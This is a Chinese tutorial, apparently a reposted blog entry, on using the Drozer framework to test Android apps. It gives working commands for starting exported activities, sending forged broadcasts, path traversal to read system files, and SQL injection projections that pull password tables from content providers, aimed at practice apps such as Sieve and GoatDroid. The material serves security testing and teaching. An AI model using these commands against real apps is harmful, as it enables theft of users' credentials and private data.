IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 移动开发 -> [IOV安全入门] 十七.Drozer安全测试详细使用教程 -> 正文阅读

[移动开发][IOV安全入门] 十七.Drozer安全测试详细使用教程


欢迎新同学的光临
… …
人若无名,便可专心练剑


我不是一条咸鱼,而是一条死鱼啊!


0x01 前言

Drozer是MWR Labs开发的一款Android安全测试框架。是目前最好的Android安全测试工具之一

Drozer官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。”在Web世界已经有了许多安全测试工具了,我们只需要给出一个目标,这些工具就会自动为我们安全测试报告。但Drozer与这样的自动化扫描器不同,Drozer是一种交互式的安全测试工具。使用Drozer进行安全测试,用户在自己的工作站上输入命令,Drozer会将命令发送到Android设备上的代理程序执行。其官方文档说道:“Drozer允许你一一个普通android应用的身份与其他应用和操作系统交互。

0x02 Drozer下载与环境配置

Drozer下载地址:

  • https://labs.f-secure.com/tools/drozer/

需要下载一个Windows客户端和一个安卓客户端:

  • 【windows客户端】下载drozer (msi)安装包,或者下载python的whl格式安装包drozer (Python.whl)

在这里插入图片描述

  • 【安卓客户端】drozer (Agent .apk only)

https://github.com/FSecureLABS/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk

在这里插入图片描述

  • drozer使用指南

https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

在这里插入图片描述

0x03 Python环境安装

https://www.python.org/downloads/release/python-2718

在这里插入图片描述
在这里插入图片描述

因为Drozer 需要Python环境,但只能选择Python2.7或Python3.6

在这里插入图片描述

PS:注意,要把Python的PYTHON_HOME和PYTHON_HOME\Scripts加入到环境变量,如下:

在这里插入图片描述

0x04 模拟器安装drozer Agent App

有夜神、网易MuMu等Android模拟器,依据个人情况自主选择,此处选择网易MuMu模拟器

https://mumu.163.com/

在这里插入图片描述

在逍遥安卓模拟器中安装运行drozer Agent App,并打开Embbdded Server:

在这里插入图片描述

PS:安装好后打开 drozerAgent应用,点击右下角的开启按钮

打开命令行工具,并cd切换到安卓模拟器的安装路径,运行adb devices命令,查看是否能看到模拟器。如果看不到,重启模拟器试试

在这里插入图片描述

切换到drozer安装目录,其实也可以不用切入,因为我们已经加入了环境变量

在这里插入图片描述

使用 adb 进行端口转发,转发到上边Drozer使用的端口 31415,并进入Drozer 控制台:

adb.exe forward tcp:31415 tcp:31415
drozer console connect

在这里插入图片描述

用list命令列出Drozer所有功能模块,如能正常显示,则说明Drozer已正确安装

dz> list

在这里插入图片描述

4.1 Drozer启动报错解决方法

执行报错解决方案:

问题:ImportError: No module named google.protobuf
解决方法:pip install protobuf

问题:ImportError: No module named OpenSSL
解决方法:pip install pyOpenSSL

问题:drozer Server requires Twisted to run.
     Run 'pip install twisted' to fetch this dependency.
解决方法:pip install twisted

问题:UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'. Please install it from https://pypi.python.org/pypi/service_identity and make sure all of its dependencies are satisfied.
解决方法:pip install service_identity

0x05 检测Android四大组件

Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等

Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等

Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported=‘true’,导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码

Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等

  • 通过输入安装包的部分关键字查找包全称()
run app.package.list -f APK安装包部分关键字

或列出所有包名
run app.package.list
  • 查看apk基本信息
run app.package.info -a com.example.demo
  • 查看sieve的可攻击点
run app.package.attacksurface com.example.demo

5.1 Activity组件测试

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据
  1. 查看activity组件信息
run app.activity.info -a com.example.demo
  1. 调用暴露的activity组件
run app.activity.start --component package_name Activity_name

5.2 Broadcast组件测试

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
  1. 查看Broadcast组件信息
run app.broadcast.info  -a org.owasp.goatdroid.fourgoats
  1. 发送恶意广播
run app.broadcast.send --action 广播名 --extra string name lisi

反编译apk,查看AndroidManifest.xml 文件,获取广播名

在这里插入图片描述

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
  1. 拒绝服务攻击

尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras

run app.broadcast.send --action <action>
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

5.3 content provider组件测试

  1. 查看content provider组件信息

执行后,可以看到对DBContentProvider 内容提供器的访问,除了/Keys路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么就可以从中获取敏感数据

run app.provider.info -a com.example.demo

5.3.1 service组件测试

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。

然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。

另外,还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。
  1. 查看service组件信息
run app.service.info -a com.example.demo
  1. 调用服务组件
run app.service.start --action 服务名 --component 包名 服务名
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

5.3.2 检测URI数据泄露风险

Android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
  1. 获取内容提供器的 URIS 资源访问路径
run scanner.provider.finduris -a <包名>
run scanner.provider.finduris -a com.example.demo
  1. 敏感数据读取
run app.provider.query uri
run app.provider.query content://com.example.demo.DBContentProvider/Passwords
  • 检测文件遍历漏洞
run scanner.provider.traversal -a <包名>
  1. 读取系统文件
run app.provider.read content://com.example.demo.FileBackupProvider/etc/hosts
  1. 下载系统文件
run app.provider.download content://com.example.demo.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
  • 检测是否存在本地sql注入
  1. 扫描注入位置
run scanner.provider.injection -a <包名>
  1. 列出该app的表信息
run scanner.provider.sqltables -a  com.example.demo
  1. 手工注入

执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据

run app.provider.query content://com.example.demo.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--selection "'" 
列出所有表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM SQLITE_MASTER WHERE type='table';--" 
获取具体表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM Key;--"

0x06 Drozer常用命令汇总

  • 开始一个会话

    • adb forward tcp:31415 tcp:31415
    • drozer console connect
  • 检索包信息

    • run app.package.list -f <app name>
    • run app.package.info -a <package name>
  • 识别攻击面

run app.package.attacksurface <package name>
  • 开发活动

    • run app.activity.info -a <package name> -u
    • run app.activity.start --component <package name> <component name>
  • 利用内容提供商

    • run app.provider.info -a <package name>
    • run scanner.provider.finduris -a <package name>
    • run app.provider.query <uri>
    • run app.provider.update <uri> --selection <conditions> <selection arg> <column> <data>
    • run scanner.provider.sqltables -a <package name>
    • run scanner.provider.injection -a <package name>
    • run scanner.provider.traversal -a <package name>
  • 利用广播接收器

    • run app.broadcast.info -a <package name>
    • run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>
    • run app.broadcast.sniff --action <action>
  • 开发服务

    • run app.service.info -a <package name>
    • run app.service.start --action <action> --component <package name> <component name>
    • run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj

参考链接
https://yunye.blog.csdn.net/article/details/108931814

https://www.jianshu.com/p/8f9d7dc5a8bb

https://www.jianshu.com/p/4ef5b26dd3fb


我自横刀向天笑,去留肝胆两昆仑


  移动开发 最新文章
Vue3装载axios和element-ui
android adb cmd
【xcode】Xcode常用快捷键与技巧
Android开发中的线程池使用
Java 和 Android 的 Base64
Android 测试文字编码格式
微信小程序支付
安卓权限记录
知乎之自动养号
【Android Jetpack】DataStore
上一篇文章      下一篇文章      查看所有文章
加:2022-02-06 13:56:30  更:2022-02-06 13:58:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 14:20:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码